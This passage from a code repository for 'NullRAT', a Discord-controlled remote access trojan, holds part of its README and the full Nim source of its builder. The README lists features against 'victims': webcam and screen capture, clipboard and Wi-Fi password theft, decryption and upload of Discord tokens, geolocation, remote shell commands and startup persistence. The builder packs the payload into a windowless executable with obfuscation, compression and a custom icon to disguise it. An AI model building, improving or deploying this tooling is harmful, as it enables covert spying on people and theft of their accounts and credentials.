30 | 31 | ```diff 32 | === A full list of commands can be found by typing `/` === 33 | 34 | + Find all present victims at real time [/listvictims] 35 | + Kill any running task that isn't Admin [/kill_runningtasks] 36 | + Take pictures using victim's webcam [/get_webcam] 37 | + Take screenshot of victim's monitor [/get_screenshot] 38 | + Get victim's system information [/get_systeminfo] 39 | + Get victim's clipboard text history [/get_clipboard] 40 | + Send files/payloads to victim's PC [/sendfiles] 41 | + Receive files from victim's PC [/receivefiles] 42 | + Run any sent payloads quickly [/runfile] 43 | + Find any environment variables [/get_environment] 44 | + Add executable to startup with one command [/startup] 45 | + Decrypt the new encrypted Discord Tokens and upload them [/discord_tokens] 46 | + Check the decrypted Discord Tokens and upload all user info [/discord_checked] 47 | + Directly upload Discord Tokens from 10+ application paths [/raw_tokens] 48 | 49 | + Find WIFI SSIDs [/wifilist] and passwords [/wifipass] in victim's PC 50 | + Hide files [/hidefile] or unhide files [/unhidefile] in victim's PC 51 | + Shutdown the RAT elegantly using the modern [/shutdown] commands 52 | + Execute CMD commands & Powershell commands [/cmd] [/powershell] 53 | 54 | + Check the user tokens and upload all user info: [/checked_tokens] 55 | - Username, Tag and ID 56 | - Email Address 57 | - Phone Number 58 | - Nitro Status 59 | - Billing Info Status 60 | 61 | + Find victim's geographic information [/get_geolocation] 62 | - Country 63 | - City 64 | - Region 65 | - Zip Code 66 | - ISP 67 | - Google Maps Link 68 | 69 | + Directory manipulation commands: 70 | - [/get_currentdir] 71 | - [/set_currentdir] 72 | - [/list_directory] 73 | 74 | + List any form of running tasks in victim's PC: 75 | - [/list_runningtasks] 76 | - [/list_runningstore] 77 | 78 | + ...and much more! 79 | ``` 80 | 81 |
82 | 83 | 84 | > # How to use: 85 | #### Requirements: 86 | - Nothing! The newly designed compiler will handle **everything** for your convenience! 87 | ![Compiler showcase](https://github.com/user-attachments/assets/a4ec9681-3744-4df3-bfa1-62267980b6b0) 88 | 89 | #### Preparation: 90 | - Create a Discord Bot and [get it's token](https://github.com/NullCode1337/NullRAT/blob/source/Getting%20Variables.md#discord-bot-token) 91 | - [Create a bot invite link](https://github.com/NullCode1337/NullRAT/blob/source/Getting%20Variables.md#proper-bot-invite-link) and add it to your server 92 | - Store the [Notification ID](https://github.com/NullCode1337/NullRAT/blob/source/Getting%20Variables.md#channel-id) and [Server ID](https://github.com/NullCode1337/NullRAT/blob/source/Getting%20Variables.md#server-ids) along with the token for ease of access 93 | 94 | #### Steps: 95 | 1. Dowload the latest release of NullRAT (recommended) [**git clone**/**download zip** are no longer supported] 96 | 2. Run the Compiler and follow the prompts. NullRAT payload will be right there! 97 | 98 | - **Video tutorial:** Soon 99 | - **NullRAT Discord:** Soon 100 | 101 | 102 |
103 | 104 | 105 | > # Credits: 106 | 107 | - Treeform for puppy 108 | - All my testers on GitHub 109 | 110 | **Since this is a project I work on whenever I'm bored/depressed, you do not have the right to ask for any ETAs.** 111 | 112 | **Thank you for your consideration** 113 | 114 | --- 115 | 116 | **Infecting others via NullRAT without their permission is obviously not supported by me.** 117 | 118 |

Software designed by NullCode

119 | -------------------------------------------------------------------------------- /VERSION: -------------------------------------------------------------------------------- 1 | XI -------------------------------------------------------------------------------- /compiler.nim: -------------------------------------------------------------------------------- 1 | import std/terminal 2 | import std/os 3 | import std/osproc 4 | import std/random 5 | import std/envvars 6 | import std/[strutils, strformat] 7 | import puppy 8 | import std/streams 9 | 10 | randomize() 11 | 12 | # Windows-only 13 | proc cls() = 14 | discard execShellCmd("cls") 15 | 16 | discard execShellCmd("title NullRAT Builder"); 17 | discard execShellCmd("chcp 65001 & color 4"); 18 | discard execShellCmd("mode con: cols=80 lines=29"); 19 | 20 | proc cleanWorkingDir() = 21 | echo "" 22 | var dirrr = getAppDir(); 23 | setCurrentDir(dirrr); 24 | echo getCurrentDir(); 25 | if dirExists(absolutePath("NullRAT")): 26 | createDir("NullRAT2") 27 | moveFile(absolutePath("NullRAT" / "custom_icon.ico"), dirrr / "NullRAT2" / "custom_icon.ico") 28 | moveFile(absolutePath("NullRAT" / "RAT.py"), dirrr / "NullRAT2" / "RAT.py") 29 | moveDir(absolutePath("NullRAT" / "modules"), dirrr / "NullRAT2" / "modules") 30 | moveDir(absolutePath("NullRAT" / "upx"), dirrr / "NullRAT2" / "upx") 31 | # check existing variables 32 | if fileExists(absolutePath("NullRAT" / "Variables.py")): 33 | var inp: char 34 | echo "Existing Variables file found! Preserve? (y/N)" 35 | inp = getch() 36 | if inp == 'Y' or inp == 'y': 37 | moveFile(absolutePath("NullRAT" / "Variables.py"), dirrr / "NullRAT2" / "Variables.py") 38 | removeDir("NullRAT") 39 | moveDir(dirrr / "NullRAT2", dirrr / "NullRAT") 40 | removeFile("AIO.bat") 41 | removeFile("AIO_Legacy.bat") 42 | 43 | # remove git stuff if downloaded from source 44 | if dirExists(absolutePath(".git")): 45 | echo "Remove git files? (y/N)" 46 | var inpu: char = getch() 47 | if inpu == 'y' or inpu == 'Y': 48 | removeDir(".git") 49 | removeFile("README.md") 50 | removeFile("Getting Variables.md") 51 | removeFile(".gitignore") 52 | 53 | removeFile("RAT.exe") 54 | removeDir("build") 55 | removeDir("dist") 56 | 57 | cls() 58 | 59 | proc printName() = 60 | cls() 61 | echo "" 62 | stdout.styledWriteLine(fgRed, " ███╗ ██╗██╗ ██╗██╗ ██╗ ██████╗ █████╗ ████████╗") 63 | stdout.styledWriteLine(fgRed, " ████╗ ██║██║ ██║██║ ██║ ██╔══██╗██╔══██╗╚══██╔══╝") 64 | stdout.styledWriteLine(fgRed, " ██╔██╗ ██║██║ ██║██║ ██║ ██████╔╝███████║ ██║") 65 | stdout.styledWriteLine(fgRed, " ██║╚██╗██║██║ ██║██║ ██║ ██╔══██╗██╔══██║ ██║") 66 | stdout.styledWriteLine(fgRed, " ██║ ╚████║╚██████╔╝███████╗███████╗██║ ██║██║ ██║ ██║") 67 | stdout.styledWriteLine(fgRed, " ╚═╝ ╚═══╝ ╚═════╝ ╚══════╝╚══════╝╚═╝ ╚═╝╚═╝ ╚═╝ ╚═╝") 68 | stdout.styledWriteLine(fgRed, " =========================================================") 69 | echo "" 70 | 71 | proc compiler(): int = 72 | printName() 73 | var dirr = getAppDir() 74 | setCurrentDir(dirr / "NullRAT") 75 | 76 | stdout.styledWriteLine({styleBright}, " >> Stub Compiler <<") 77 | echo "" 78 | var obfuscate: bool 79 | var compress: bool 80 | var icon: bool = false 81 | 82 | # Check Python version, pyarmor no longer supports 3.11+ 83 | var status = execProcess("python --version") 84 | for i in ["3.11", "3.12", "3.13", "3.14"]: 85 | if i in status: 86 | echo "Python ", i, " is not supported!\nUninstall and run the compiler again to auto-download the correct version!" 87 | sleep(5000) 88 | quit(0) 89 | 90 | stdout.styledWriteLine({styleBright}, "Do you want to obfuscate the executable? (Y/n)") 91 | var input: char = getch() 92 | if input == 'N' or input == 'n': 93 | obfuscate = false 94 | elif input == 'Q' or input == 'q': 95 | return 0 96 | else: 97 | obfuscate = true 98 | 99 | stdout.styledWriteLine({styleBright}, "Do you want to compress the executable? (Y/n)") 100 | input = getch() 101 | if input == 'N' or input == 'n': compress = false 102 | elif input == 'Q' or input == 'q': return 0 103 | else: compress = true 104 | 105 | stdout.styledWriteLine({styleBright}, "Do you want to set a custom icon? (y/N)") 106 | input = getch() 107 | var iconPath: string 108 | if input == 'Y' or input == 'y': 109 | icon = true 110 | echo "Drag and drop .ico file here, and press ENTER..." 111 | echo "(Or type it's full path)" 112 | iconPath = readLine(stdin); 113 | iconPath = iconPath.strip(); 114 | while fileExists(iconPath) == false: 115 | echo "Icon file not found! Please try again." 116 | iconPath = readLine(stdin) 117 | elif input == 'Q' or input == 'q': return 0 118 | else: icon = false 119 | 120 | printName() 121 | echo "All options selected: " 122 | echo "---------------------" 123 | if obfuscate: echo "Executable will be obfuscated (w/ pyarmor)" 124 | if compress: 125 | var path = getEnv("path") 126 | if path[^1] == ';': 127 | putEnv("path", fmt"{path}{dirr}\NullRAT\upx;") 128 | else: 129 | putEnv("path", fmt"{path};{dirr}\NullRAT\upx;") 130 | echo "Executable will be compressed (w/ upx)" 131 | if icon: 132 | echo "Executable will have custom icon" 133 | echo "Path: ", iconPath 134 | echo "" 135 | stdout.styledWriteLine(fgRed, {styleBright}, "Would you like to compile now? (Y/n)") 136 | input = getch() 137 | if input == 'N' or input == 'n': 138 | echo "- User declined request. Aborting..." 139 | sleep(1500) 140 | return 0 141 | elif input == 'Q' or input == 'q': return 0 142 | else: 143 | stdout.styledWriteLine(fgCyan, {styleBright}, "- Compiling using selected settings...") 144 | stdout.styledWriteLine(fgCyan, {styleBright}, "- Checking pyinstaller...") 145 | var pyinst: string = "undef"; 146 | var armor: string = "undef"; 147 | # Find working pyinstaller executable 148 | var wherePy: seq[string] 149 | try: 150 | wherePy = splitLines(execCmdEx("where pyinstaller").output) 151 | for pyinstaller in wherePy: 152 | if pyinstaller == "": continue 153 | var code = execCmdEx(pyinstaller).exitCode 154 | if code == 2: 155 | pyinst = pyinstaller 156 | break 157 | if "undef" notin pyinst: 158 | echo "Found! ", pyinst 159 | else: 160 | echo "[FATAL] Pyinstaller executable not found." 161 | echo "Please check your environment variables and python installation" 162 | echo "before continuing..... Exiting in 5 seconds" 163 | sleep(5000) 164 | return 0 165 | except OSError: 166 | # Modules not in path, try to find scripts directory 167 | echo "PyInstaller executable not found" 168 | echo "Attempting to locate the executable in AppData....." 169 | var localappdata = getEnv("localappdata") 170 | for path in walkDirRec(localappdata): 171 | if "pyinstaller" in path: 172 | echo "Found!", path 173 | pyinst = path 174 | break 175 | var roamingappdata = getEnv("appdata") 176 | for path in walkDirRec(roamingappdata): 177 | if "pyinstaller" in path: 178 | echo "Found!", path 179 | pyinst = path 180 | break 181 | if "undef" in pyinst: 182 | echo "[FATAL] Pyinstaller executable not found!" 183 | echo "Have you put Scripts directory in PATH?" 184 | echo "\nExiting in 5 seconds....." 185 | sleep(5000) 186 | return 0 187 | 188 | stdout.styledWriteLine(fgCyan, {styleBright}, "- Checking pyarmor...") 189 | # Find working pyarmor executable 190 | try: 191 | var whereArmor = splitLines(execCmdEx("where pyarmor-7").output) 192 | for pyarmor in whereArmor: 193 | if pyarmor == "": 194 | continue 195 | var code = execCmdEx(pyarmor).exitCode 196 | if code == 2: 197 | armor = pyarmor 198 | break 199 | if "undef" notin armor: 200 | echo "Found! ", armor 201 | else: 202 | echo "[FATAL] PyArmor executable not found!" 203 | echo "Have you put Scripts directory in PATH?" 204 | echo "\nExiting in 5 seconds....." 205 | sleep(5000) 206 | return 0 207 | except OSError: 208 | # Modules not in path, try to find scripts directory 209 | echo "PyArmor executable not found" 210 | echo "Attempting to locate the executable in AppData....." 211 | var localappdata = getEnv("localappdata") 212 | for path in walkDirRec(localappdata): 213 | if "armor" in path: 214 | echo "Found!", path 215 | armor = path 216 | break 217 | var roamingappdata = getEnv("appdata") 218 | for path in walkDirRec(roamingappdata): 219 | if "armor" in path: 220 | echo "Found!", path 221 | armor = path 222 | break 223 | if "undef" in pyinst: 224 | echo "[FATAL] Pyarmor executable not found." 225 | echo "Please check your environment variables and python installation" 226 | echo "before continuing..... Exiting in 5 seconds" 227 | sleep(5000) 228 | return 0 229 | 230 | # Compiling 231 | stdout.styledWriteLine(fgCyan, {styleBright}, "- Creating tempdir...") 232 | var folderName = "compiling-" & $rand(6969) 233 | createDir(folderName) 234 | setCurrentDir(dirr / "NullRAT" / folderName) 235 | var currdir = getCurrentDir() 236 | echo currdir 237 | 238 | echo dirr / "NullRAT" / "RAT.py" 239 | copyFile(dirr / "NullRAT" / "RAT.py", currdir / "RAT.py") 240 | echo dirr / "NullRAT" / "Variables.py" 241 | copyFile(dirr / "NullRAT" / "Variables.py", currdir / "Variables.py") 242 | if icon: 243 | copyFile(iconPath, currdir / "custom_icon.ico") 244 | 245 | var modules: seq[string] 246 | for path in walkDir(dirr / "NullRAT" / "modules"): 247 | if "create_new" in $path.path.split("\\")[^1]: 248 | continue 249 | echo $path.path 250 | copyFile($path.path, currdir / $path.path.split("\\")[^1]) 251 | modules.add($path.path.split("\\")[^1]) 252 | 253 | var pyinst_cmd = pyinst & " --onefile --noconsole --hidden-import mss" 254 | 255 | var dat: string 256 | if obfuscate: 257 | dat = fmt" --add-data 'Variables.py;.'" 258 | else: 259 | dat = fmt" --add-data ""Variables.py;.""" 260 | pyinst_cmd.add(dat) 261 | 262 | var pyarmor_cmd: string 263 | if icon: 264 | if obfuscate: 265 | pyarmor_cmd = armor & fmt" pack --clean -e "" --onefile --noconsole --icon=custom_icon.ico --hidden-import mss {dat}""" 266 | else: 267 | pyinst_cmd = pyinst_cmd & " --icon=custom_icon.ico" 268 | pyarmor_cmd = armor & fmt" pack --clean -e "" --onefile --noconsole --hidden-import mss {dat}" 269 | moveFile(currdir / "RAT.py", currdir / "765678976567.py") 270 | pyarmor_cmd.add(dat) 271 | 272 | if obfuscate: 273 | for m in modules: 274 | dat = fmt" --add-data '{m};.'" 275 | pyarmor_cmd.add(dat) 276 | else: 277 | for m in modules: 278 | dat = fmt" --add-data ""{m};.""" 279 | pyinst_cmd.add(dat) 280 | 281 | pyinst_cmd.add(" 765678976567.py") 282 | pyarmor_cmd.add("""" 765678976567.py""") 283 | 284 | discard execShellCmd("color C") 285 | if obfuscate: 286 | echo pyarmor_cmd 287 | discard execShellCmd(pyarmor_cmd) 288 | else: 289 | echo pyinst_cmd 290 | discard execShellCmd(pyinst_cmd) 291 | 292 | var name = $rand(6969) & ".exe" 293 | if fileExists(currdir / "dist" / "765678976567.exe"): 294 | moveFile(currdir / "dist" / "765678976567.exe", dirr / name) 295 | setCurrentDir(dirr / "NullRAT") 296 | removeDir(folderName) 297 | 298 | printName() 299 | stdout.styledWriteLine(fgGreen, {styleBright}, "Build Successful! Output in " & name) 300 | echo "Press any key to exit..." 301 | discard getch() 302 | quit(0) 303 | 304 | proc variablesCreator(x: int) = 305 | printName() 306 | var dirr = getAppDir() 307 | setCurrentDir(dirr / "NullRAT") 308 | 309 | if x != 1: 310 | stdout.styledWriteLine({styleBright}, " >> Variables Creator <<") 311 | if fileExists("Variables.py"): 312 | stdout.styledWriteLine(fgGreen, {styleBright}, "\n- Existing Variables file discovered!") 313 | stdout.styledWriteLine(fgCyan, {styleBright}, "\nStored information\n------------------") 314 | let EnF = readFile("Variables.py") 315 | stdout.styledWriteLine(fgCyan, {styleBright}, EnF) 316 | stdout.styledWriteLine({styleBright}, "\nIs this information correct? (Y/n)") 317 | var input: char = getch() 318 | if input == 'N' or input == 'n': 319 | echo "- Information marked incorrect! Continuing..." 320 | sleep(1000) 321 | printName() 322 | elif input == 'Q' or input == 'q': return 323 | else: 324 | stdout.styledWriteLine(fgGreen, {styleBright}, "- Information marked correct. Preserving...") 325 | sleep(1000) 326 | if compiler() == 0: 327 | return 328 | 329 | stdout.styledWriteLine(fgWhite, {styleBright}, "----------------\nTo know how to obtain the variables,\nCheck 'Getting Variables.md' in NullRAT Github\n----------------") 330 | stdout.styledWriteLine(fgWhite, {styleBright}, "\n[1] Please enter the Discord bot token: ") 331 | var token = readLine(stdin); 332 | stdout.styledWriteLine(fgWhite, {styleBright}, "[2] Please enter the Server ID: ") 333 | var serverID = readLine(stdin) 334 | stdout.styledWriteLine(fgWhite, {styleBright}, "[3] Please enter the Notification channel ID: ") 335 | var notificationID = readLine(stdin) 336 | 337 | let lines = [ 338 | fmt"bot_token = ""{token}""", 339 | "notification_channel = " & notificationID, 340 | "server_ids = [" & serverID & "]" 341 | ] 342 | 343 | var linesString: string = "# This file was auto-generated by NullRAT Builder. DO NOT EDIT!\n" 344 | 345 | printName() 346 | stdout.styledWriteLine({styleBright}, " >> Variables Creator <<") 347 | echo "\nObtained information:\n---------------------" 348 | 349 | for line in lines: 350 | if "#" in line: continue 351 | echo line 352 | linesString.add("\n"&line) 353 | echo "" 354 | 355 | stdout.styledWriteLine({styleBright}, "Is this information correct? (Y/n)") 356 | var input: char = getch() 357 | if input == 'N' or input == 'n': 358 | echo "- Aborted! Returning to main menu..." 359 | sleep(1500) 360 | variablesCreator(1) 361 | elif input == 'Q' or input == 'q': return 362 | else: 363 | echo "- Information marked correct. Writing..." 364 | removeFile("Variables.py") 365 | 366 | echo linesString 367 | let 368 | fileName = "Variables.py" 369 | str = linesString 370 | writeFile(fileName, str) 371 | 372 | stdout.styledWriteLine({styleBright}, "- Written information to disk!") 373 | echo "" 374 | stdout.styledWriteLine({styleBright}, "Moving on to compiler...") 375 | sleep(3000) 376 | if compiler() == 0: 377 | return 378 | 379 | const pipModules = ["pyinstaller", "virtualenv", "disnake", "requests", "pyarmor", "mss", "psutil"] 380 | 381 | proc packageInstaller() = 382 | printName() 383 | stdout.styledWriteLine({styleBright}, " >> Dependencies Installer <<") 384 | echo "" 385 | stdout.styledWriteLine({styleBright}, "[1] Checking for Python...") 386 | var status: int = execShellCmd("python --version") 387 | var status2: int = execShellCmd("py --version") 388 | if status == 0 or status2 == 0: 389 | stdout.styledWriteLine(fgGreen, {styleBright}, "- Python installed!") 390 | echo "" 391 | stdout.styledWriteLine({styleBright}, "[2] Checking if packages already installed...") 392 | var result = execCmdEx("dism") 393 | try: 394 | result = execCmdEx("pip freeze") 395 | except OSError: 396 | result = execCmdEx("py -m pip freeze") 397 | var allInstalled: bool = true 398 | if result.exitCode != 0: 399 | echo "[FATAL] pip command failed to execute!!" 400 | sleep(2000) 401 | else: 402 | for module in pipModules: 403 | if module notin result.output: 404 | allInstalled = false 405 | 406 | if allInstalled: 407 | stdout.styledWriteLine(fgGreen, {styleBright}, "- All packages installed and detected!\n\nProceeding on with variables creation...") 408 | sleep(1000) 409 | variablesCreator(0) 410 | else: 411 | echo "Some dependencies are not installed!\n" 412 | stdout.styledWriteLine({styleBright}, "[3] Installing/Updating dependencies...") 413 | var res = execShellCmd("pip install pyinstaller virtualenv aiohttp disnake requests mss pyarmor psutil") 414 | if res == 0: 415 | echo "========================" 416 | stdout.styledWriteLine(fgGreen, {styleBright}, "All Installed!\nMoving to variables creation...") 417 | sleep(2000) 418 | variablesCreator(0) 419 | else: 420 | var res = execShellCmd("py -m pip install pyinstaller virtualenv aiohttp disnake requests mss pyarmor psutil") 421 | if res == 0: 422 | echo "========================" 423 | stdout.styledWriteLine(fgGreen, {styleBright}, "All Installed!\nMoving to variables creation...") 424 | sleep(2000) 425 | variablesCreator(0) 426 | else: 427 | stdout.styledWriteLine({styleBright}, "- Python not installed!\n\nWould you like to download the recommended python installer? (Y/n): ") 428 | var input: char = getch(); 429 | if input == 'N' or input == 'n': 430 | echo "NullRAT Builder cannot continue otherwise!!! Exiting in 5 seconds..." 431 | sleep(5000) 432 | quit(1) 433 | elif input == 'Q' or input == 'q': return 434 | else: 435 | var dirr = getAppDir() 436 | stdout.styledWriteLine({styleBright}, "Downloading installer to current directory....") 437 | let response = get("http://www.python.org/ftp/python/3.8.10/python-3.8.10.exe", @[("Content-Type", "application/x-msdownload")]) 438 | var strm = newFileStream("python-setup.exe", fmWrite) 439 | strm.write(response.body) 440 | strm.close() 441 | stdout.styledWriteLine(fgGreen, {styleBright}, "Downloaded! https://www.python.org/ftp/python/3.8.10/python-3.8.10.exe") 442 | echo "" 443 | stdout.styledWriteLine({styleBright}, "After running, please tick 'Install for All Users'") 444 | stdout.styledWriteLine({styleBright}, "and 'Add Python 3.8 to PATH', then Install Now") 445 | stdout.styledWriteLine({styleBright}, "After installing, check if everything is functional") 446 | stdout.styledWriteLine({styleBright}, "by running NullRAT builder again.") 447 | echo "" 448 | stdout.styledWriteLine({styleBright}, "Returning to menu after installer is closed...") 449 | discard execCmdEx("python-setup.exe") 450 | return 451 | 452 | proc mainMenu() = 453 | printName(); 454 | stdout.styledWriteLine({styleBright}, " >> NullRAT Builder v1.2 <<") 455 | echo "" 456 | stdout.styledWriteLine(fgGreen, {styleBright}, " - HINT! Press Q in any window to immediately return here!") 457 | stdout.styledWriteLine({styleBright}, "\n Press any key to continue,\n E/Q to exit,\n R to clear working directory,\n C to directly move to compiler (do this at your own risk)...") 458 | var input: char = getch(); 459 | if input == 'E' or input == 'e' or input == 'Q' or input == 'q': 460 | quit(0) 461 | elif input == 'C' or input == 'c': 462 | discard compiler() 463 | quit(0) 464 | elif input == 'R' or input == 'r': 465 | cleanWorkingDir() 466 | else: 467 | packageInstaller() 468 | 469 | while true: 470 | mainMenu(); 471 | #stdout.styledWriteLine(fgRed, "") 472 | --------------------------------------------------------------------------------